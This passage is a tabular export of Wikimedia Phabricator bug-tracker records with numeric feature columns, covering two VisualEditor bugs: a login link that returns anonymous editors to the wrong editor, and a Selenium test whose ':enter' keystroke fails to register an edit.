The remaining diacritics as of unicode 3.0 come under Nonspacing mark (Mn) and Spacing combining mark (Mc) (Note: This does not include devanagari extended added in unicode 6.0 and vedic extensions added in unicode 6.1)"
55746,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,"en.wp user Professor Hog reports:
""If you try and use beta to edit a page, but you've forgotten to log in, so you log in directly off the beta page, once you have successfully logged in it takes you back to the edit source page instead of the beta page. Minor, but thought you may want to correct it? ""

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52281",Medium,50.0,1378296540,1455934739.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-mvx4x7ywk2flsaku2dbk,True,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_description,resolved,True,c1,3,False,False,False,9,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,3.0,2.0,1.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,9.0,2.0,3.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,11.0,3.0,1.0,2.0,0.0,8.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.3877551020408165,0.5612244897959183,"en.wp user Professor Hog reports:
""If you try and use beta to edit a page, but you've forgotten to log in, so you log in directly off the beta page, once you have successfully logged in it takes you back to the edit source page instead of the beta page. Minor, but thought you may want to correct it? ""

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
614451,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,I think that needs to wait until enwiki has SET.,,,1455934739,,PHID-USER-mvx4x7ywk2flsaku2dbk,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,True,,,137,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,27.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,27.0,18.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,1.0,I think that needs to wait until enwiki has SET.
614193,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,"@Jdforrester-WMF It looks like the [workaround](https://en.wikipedia.org/wiki/MediaWiki:Anoneditwarning) at enwiki (and maybe others, though not that I know of) needs to be removed/altered.

See my previous comment.",,,1455912954,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,True,,,137,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.8333333333333335,0.9722222222222222,"SCREEN_NAME-WMF It looks like the [workaround](URL at enwiki (and maybe others, though not that I know of) needs to be removed/altered.

See my previous comment."
611303,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,This now works.,,,1455641681,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,True,,,137,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,This now works.
332823,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,"Note, Steven added a [custom workaround](https://en.wikipedia.org/w/index.php?title=MediaWiki:Anoneditwarning&diff=572253350&oldid=572253272) at English Wikipedia (shortly after this was filed).  It removes the action=edit, so you don't go to //any// editor on return (otherwise, it can to the wrong one like this bug says).

That was never the desired behavior, though.  The desired behavior is that it knows which editor you're using anonymously, and keeps you on the right editor when you return logged in.  Both VE and wikitext have suitable URL parameters; the issue is knowing which to use.",,,1416894768,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,True,,,73,,0.0,0.0,0.0,0.5,0.5,3.0,2.0,0.0,1.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,8.0,2.5,2.0,1.0,3.5,0.0,0.0,1.0,2.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,2.0,5.0,3.5,6.5,2.5,2.0,9.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,2.5,0.0,0.0,0.0,5.0,0.0,3.0,0.5,0.0,2.0,0.0,0.0,0.5,3.861111111111111,0.7962962962962963,"Note, Steven added a [custom workaround](URL at English Wikipedia (shortly after this was filed).  It removes the action=edit, so you don't go to //any// editor on return (otherwise, it can to the wrong one like this bug says).

That was never the desired behavior, though.  The desired behavior is that it knows which editor you're using anonymously, and keeps you on the right editor when you return logged in.  Both VE and wikitext have suitable URL parameters; the issue is knowing which to use."
237086,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,"Changing the depends on to bug 52471 (sorry, I typoed in comment 3)",,,1378315266,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.4375,1.0,"Changing the depends on to bug 52471 (sorry, I typoed in comment 3)"
237084,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,"(In reply to comment #3)
> To clarify the sequence I used to reproduce this was:
> 1. log out
> 2. load a page in VE. I tested with [[Symphony No. 8 (Mahler)]] and
> [[user:Thryduulf/sandbox]]
> 3. click to edit the page in VE
> 4. Click the ""log in"" link in the notice that pops up. 
> This loads
> https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=User:
> Thryduulf/sandbox&returntoquery=action%3Dedit
> in a new tab.
> 5. In that new tab, log in as normal
> Get returned to the source editor.
> 
> The edit notice shown is that in [[MediaWiki:Anoneditwarning]] where the link
> is hardcoded to the source editor (pre VE this would never have been an
> issue).
> 
> To me this suggests that either editor-relative urls are needed or we need
> different edit notices for the classic editor and VE (see bug 52741 for the
> latter)

Oh, I see, I was clicking on ""login"" in the personal links bar - sorry. Re-titling so I don't get confused again. :-)",,,1378314148,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,4.0,0.0,4.0,6.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,32.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,2.0,1.0,1.0,0.0,4.0,6.0,22.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,2.925925925925926,0.4567901234567901,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Oh, I see, I was clicking on ""login"" in the personal links bar - sorry. Re-titling so I don't get confused again. :-)"
237079,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,"To clarify the sequence I used to reproduce this was:
1. log out
2. load a page in VE. I tested with [[Symphony No. 8 (Mahler)]] and [[user:Thryduulf/sandbox]]
3. click to edit the page in VE
4. Click the ""log in"" link in the notice that pops up. 
This loads https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=User:Thryduulf/sandbox&returntoquery=action%3Dedit in a new tab.
5. In that new tab, log in as normal
Get returned to the source editor.

The edit notice shown is that in [[MediaWiki:Anoneditwarning]] where the link is hardcoded to the source editor (pre VE this would never have been an issue).

To me this suggests that either editor-relative urls are needed or we need different edit notices for the classic editor and VE (see bug 52741 for the latter)",,,1378313436,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.5,1.0,11.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,3.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,15.0,2.0,1.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.5,7.0,3.0,10.5,1.0,1.5,11.0,0.0,0.0,0.0,0.0,4.5,0.0,2.5,0.0,2.0,11.0,5.0,0.0,1.0,0.0,2.0,0.0,1.0,1.5,0.5,0.0,0.0,0.0,5.0,3.1724137931034484,0.6724137931034483,"To clarify the sequence I used to reproduce this was:
1. log out
2. load a page in VE. I tested with [[Symphony No. 8 (Mahler)]] and [[user:Thryduulf/sandbox]]
3. click to edit the page in VE
4. Click the ""log in"" link in the notice that pops up. 
This loads URL in a new tab.
5. In that new tab, log in as normal
Get returned to the source editor.

The edit notice shown is that in [[MediaWiki:Anoneditwarning]] where the link is hardcoded to the source editor (pre VE this would never have been an issue).

To me this suggests that either editor-relative urls are needed or we need different edit notices for the classic editor and VE (see bug 52741 for the latter)"
237076,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,"I'll ask for further clarification, but I've tested this in Firefox 23 on linux.

Clicking the link in the VE popup that notes you're not logged in reproduces this bug. (Note that this loads the login window in a new tab, I logged in there and was returned to the source editor in that window).

Dismissing that popup and then using the log in link at the top right of the page returned me to viewing the page not editing it in either editor.

The results are the same using my Thryduulf account which has a couple of gadgets, and my Awkward42 account which has none.",,,1378312694,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.5,1.5,2.5,1.0,0.0,0.0,0.0,5.0,1.5,0.0,0.0,0.0,4.0,1.0,3.0,10.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,16.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.5,0.0,2.0,0.0,8.0,1.5,7.0,0.5,2.5,14.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,5.5,10.0,3.0,0.0,0.0,0.0,5.5,0.0,2.0,1.5,1.0,4.5,0.0,0.0,0.0,3.8114754098360653,0.7295081967213115,"I'll ask for further clarification, but I've tested this in Firefox 23 on linux.

Clicking the link in the VE popup that notes you're not logged in reproduces this bug. (Note that this loads the login window in a new tab, I logged in there and was returned to the source editor in that window).

Dismissing that popup and then using the log in link at the top right of the page returned me to viewing the page not editing it in either editor.

The results are the same using my Thryduulf account which has a couple of gadgets, and my Awkward42 account which has none."
237074,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,"I can't reproduce this - I get back to VisualEditor (as expected) - the login link is something like https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Foobar&returntoquery=veaction%3Dedit

Can ""Professor Hog"" give any further details? What browser were they using? Can they reproduce? What about after a hard-refresh? Do they have any odd gadgets on the account into which they were logging-in?",,,1378310407,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,True,,,9,,3.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,4.0,12.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,16.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,12.0,4.0,7.0,3.0,0.0,9.0,0.0,4.0,1.0,0.0,3.0,0.0,0.0,0.0,3.753623188405797,0.7391304347826086,"I can't reproduce this - I get back to VisualEditor (as expected) - the login link is something like URL

Can ""Professor Hog"" give any further details? What browser were they using? Can they reproduce? What about after a hard-refresh? Do they have any odd gadgets on the account into which they were logging-in?"
55721,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"**Author:** `rachelqa99`

**Description:**
shows error message

I got this message when running a test automation script, that puts in a line of code and tries to save it. It doesn't recognize the new line of code I put in, so it gives this error message upon save. Not sure if you are aware of this particular scenario, which is why I am submitting it.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11191}",Medium,50.0,1378241340,1449024014.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-y44xrgvhzk7uy25krg2j,task_description,resolved,True,c1,3,False,False,False,9,,0.0,0.0,0.0,0.0,1.5,5.0,1.0,0.0,0.0,1.0,2.0,0.5,0.0,0.0,0.0,2.0,1.0,3.0,5.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,3.0,1.0,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,11.0,0.5,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,1.5,2.5,8.5,3.5,0.5,4.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.5,5.5,1.0,0.0,0.0,0.0,5.5,0.0,3.0,1.0,0.0,1.5,0.0,0.0,0.0,3.4545454545454546,0.7,"**Author:** CODE

**Description:**
shows error message

I got this message when running a test automation script, that puts in a line of code and tries to save it. It doesn't recognize the new line of code I put in, so it gives this error message upon save. Not sure if you are aware of this particular scenario, which is why I am submitting it.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11191}"
571173,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,I'm going to provisionally mark this as fixed as it appears to now work.,,,1449024014,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,True,,,126,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,19.0,19.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.6875,0.875,I'm going to provisionally mark this as fixed as it appears to now work.
556430,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"Is this still a problem, or can the task be resolved?",,,1446479363,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,True,,,122,,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,8.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.3076923076923075,1.0,"Is this still a problem, or can the task be resolved?"
235538,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"A clarification about each case we tried in the automated test: 

* type a string and the string is shown correctly in CE and DM
* type a string and :return and both the string and the empty line are shown correctly in CE and DM

* but type a string and :enter and CE correctly shows *both* the string *and* the empty line but DM shows *neither* the string nor the empty line.  That is, the :enter command is recognized in CE but seems to have the effect of making all the changes in CE invisible to DM.",,,1378312673,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,False,,,9,,1.5,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,6.5,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,4.5,3.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,7.5,0.0,10.5,12.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.5,6.5,6.5,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.5086206896551726,0.5431034482758621,"A clarification about each case we tried in the automated test: 

* type a string and the string is shown correctly in CE and DM
* type a string and :return and both the string and the empty line are shown correctly in CE and DM

* but type a string and :enter and CE correctly shows *both* the string *and* the empty line but DM shows *neither* the string nor the empty line.  That is, the :enter command is recognized in CE but seems to have the effect of making all the changes in CE invisible to DM."
235536,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"
I think this might be a real bug, but I think it might take some particular piece of hardware to trigger it. 

WebDriver/Selenium has two ways of sending a newline to the browser

:enter
:return

"":return"" is intended to emulate the ""Return"" key on a normal keyboard; "":enter"" is intended to emulate the ""Enter"" key on a numeric keypad.

In this test, when we type a string plus :return in VE, the diff view is correct, and the test would pass.  But when the test sends a string plus :enter in VE, VE does not recognize that the contents of the edit page has changed. 

I tried to reproduce this issue manually using a Macintosh USB keyboard on a Macbook Pro laptop but both the Return key and Enter key on that particular piece of hardware worked correctly with VE. 

I suggest trying out Return (on the keyboard) and Enter (on the numeric keypad) on a few keyboards to make sure we don't see this in the wild.",,,1378309500,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,False,,,9,,0.6666666666666666,0.0,0.0,0.6666666666666666,0.6666666666666666,3.6666666666666665,0.6666666666666666,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,0.0,2.3333333333333335,10.666666666666666,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,4.333333333333333,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,12.333333333333334,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,8.0,1.3333333333333333,8.666666666666666,1.0,3.6666666666666665,10.333333333333334,0.0,0.0,0.0,0.0,6.0,0.0,0.3333333333333333,0.0,3.0,10.666666666666666,6.0,0.0,2.6666666666666665,0.0,3.0,0.0,0.6666666666666666,3.3333333333333335,0.0,1.3333333333333333,0.0,0.0,0.0,3.5666666666666664,0.6809523809523809,"
I think this might be a real bug, but I think it might take some particular piece of hardware to trigger it. 

WebDriver/Selenium has two ways of sending a newline to the browser

:enter
:return

"":return"" is intended to emulate the ""Return"" key on a normal keyboard; "":enter"" is intended to emulate the ""Enter"" key on a numeric keypad.

In this test, when we type a string plus :return in VE, the diff view is correct, and the test would pass.  But when the test sends a string plus :enter in VE, VE does not recognize that the contents of the edit page has changed. 

I tried to reproduce this issue manually using a Macintosh USB keyboard on a Macbook Pro laptop but both the Return key and Enter key on that particular piece of hardware worked correctly with VE. 

I suggest trying out Return (on the keyboard) and Enter (on the numeric keypad) on a few keyboards to make sure we don't see this in the wild."
235531,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"**rachelqa99** wrote:

I am adding the line of text  This is a test  at the beginning of the page into the Selenium user's homepage on test2.  There is a bunch of already existing text below it, I am just trying to add a new line at the begining of the page, ""This is a test"" and hit Return key for a new line.  I can't seem to reproduce it manually.",,,1378302946,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,1.0,3.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,4.0,13.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,2.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,9.0,0.0,1.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,13.0,2.0,0.0,2.0,0.0,6.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.168539325842697,0.5842696629213483,"**rachelqa99** wrote:

I am adding the line of text  This is a test  at the beginning of the page into the Selenium user's homepage on test2.  There is a bunch of already existing text below it, I am just trying to add a new line at the begining of the page, ""This is a test"" and hit Return key for a new line.  I can't seem to reproduce it manually."
235526,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"(In reply to comment #0)
> Created attachment 13227 [details]
> shows error message
> 
> I got this message when running a test automation script,

Yes, this is the normal (you tried to get the diff but as far as we're concerned, no changes were made to the page).

> that puts in a line of code and tries to save it. It doesn't recognize the new
> line of code I put in, so it gives this error message upon save.

What ""line of code"" does it insert? Where does it insert it? On what page? On what wiki? Can you reproduce manually or does this only happen with the script?

(In reply to comment #3)
> Possibly a situation caused by bug 53360 which is marked as resolved.

The fix for bug 53360 is running on test2 right now, so almost certainly not related to that bug.

**Attached**: {F11191}",,,1378246805,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.5,1.0,0.5,0.5,0.0,0.0,0.0,2.5,0.5,0.0,1.5,0.0,0.5,0.0,7.5,9.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,3.5,0.0,2.0,2.5,1.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,11.0,0.5,1.5,8.0,0.0,0.0,0.0,1.5,4.5,0.5,2.0,0.0,3.5,9.0,1.0,3.5,1.0,0.0,3.5,0.0,2.5,0.0,0.0,1.0,0.0,0.0,0.0,3.1363636363636362,0.7348484848484849,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

Yes, this is the normal (you tried to get the diff but as far as we're concerned, no changes were made to the page).

QUOTE
QUOTE

What ""line of code"" does it insert? Where does it insert it? On what page? On what wiki? Can you reproduce manually or does this only happen with the script?

(In reply to comment #3)
QUOTE

The fix for bug 53360 is running on test2 right now, so almost certainly not related to that bug.

**Attached**: {F11191}"
235520,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"**rachelqa99** wrote:

Possibly a situation caused by bug 53360 which is marked as resolved.",,,1378242207,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.8095238095238093,0.8571428571428571,"**rachelqa99** wrote:

Possibly a situation caused by bug 53360 which is marked as resolved."
235516,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"**rachelqa99** wrote:

